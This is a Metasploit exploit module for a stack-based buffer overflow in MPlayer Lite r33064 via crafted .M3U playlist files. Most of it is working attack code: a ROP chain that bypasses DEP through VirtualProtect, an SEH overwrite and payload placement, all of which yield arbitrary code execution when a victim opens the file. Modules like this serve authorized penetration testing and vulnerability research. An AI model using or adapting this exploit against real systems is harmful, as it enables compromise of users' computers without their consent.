MPlayer Lite M3U Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MPlayer Lite M3U Buffer Overflow',
        'Description' => %q{
          This module exploits a stack-based buffer overflow vulnerability in
          MPlayer Lite r33064, caused by improper bounds checking of an URL entry.

          By persuading the victim to open a specially-crafted .M3U file, specifically by
          drag-and-dropping it to the player, a remote attacker can execute arbitrary
          code on the system.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'C4SS!0 and h1ch4m', # Vulnerability discovery and original exploit
          'Gabor Seljan', # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2011-10008' ],
          [ 'BID', '46926' ],
          [ 'EDB', '17013' ],
          [ 'URL', 'http://www.mplayer-ww.com/eng/' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Platform' => 'win',
        'Payload' => {
          'BadChars' => "\x00\x20\x0d\x0a\x1a\x2c\x2e\x26\x2f\x3a\x3e\x3f\x5c",
          'Space' => 5040
        },
        'Targets' => [
          [
            'Windows XP SP3 (DEP Bypass) / MPlayer Lite r33064',
            {
              'Offset' => 21,
              'Ret' => 0x649a7bbe # ADD ESP,64C # PPPR [avformat-52.dll]
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2011-03-19',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u'])
      ],
      self.class
    )
  end

  def junk
    return rand_text_alpha(4).unpack("V").first
  end

  def nops
    return make_nops(4).unpack("V").first
  end

  def exploit
    # ROP chain generated by mona.py - See corelan.be
    rop_gadgets =
      [
        0x6ad9d85d,  # POP EBP # RETN [avcodec-52.dll]
        0x10018fc3,  # &CALL ESP [unrar.dll]
        0x64984a70,  # POP EAX # RETN [avformat-52.dll]
        0xffffec4f,  # Value to negate, will become 0x00005040
        0x6b0ce791,  # NEG EAX # RETN [avcodec-52.dll]
        0x6b063c7d,  # PUSH EAX # POP EBX # POP ESI # POP EDI # RETN [avcodec-52.dll]
        junk,
        junk,
        0x1001d154,  # POP EAX # RETN [unrar.dll]
        0x77e71210,  # &VirtualProtect() [IAT RPCRT4.dll]
        0x64987f7f,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [avformat-52.dll]
        0x6afcdc68,  # XCHG EAX,ESI # RETN [avcodec-52.dll]
        0x6b02836d,  # POP EAX # RETN [avcodec-52.dll]
        0xffffffc0,  # Value to negate, will become 0x00000040
        0x6b0ce791,  # NEG EAX # RETN [avcodec-52.dll]
        0x6af79d80,  # XCHG EAX,EDX # RETN [avcodec-52.dll]
        0x1001bad6,  # POP ECX # RETN [unrar.dll]
        0x649eab48,  # &Writable location [avformat-52.dll]
        0x6d7c0bb7,  # POP EDI # RETN [swscale-0.dll]
        0x6b03d722,  # RETN (ROP NOP) [avcodec-52.dll]
        0x64984a70,  # POP EAX # RETN [avformat-52.dll]
        nops,
        0x6d7c57d1   # PUSHAD # RETN [swscale-0.dll]
      ].flatten.pack('V*')

    sploit = rand_text_alpha_upper(target['Offset'])
    sploit << rop_gadgets
    sploit << payload.encoded
    sploit << generate_seh_record(target.ret)
    sploit << rand_text_alpha_upper(1000) # Generate exception

    # Create the file
    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create("http://" + sploit)
  end
end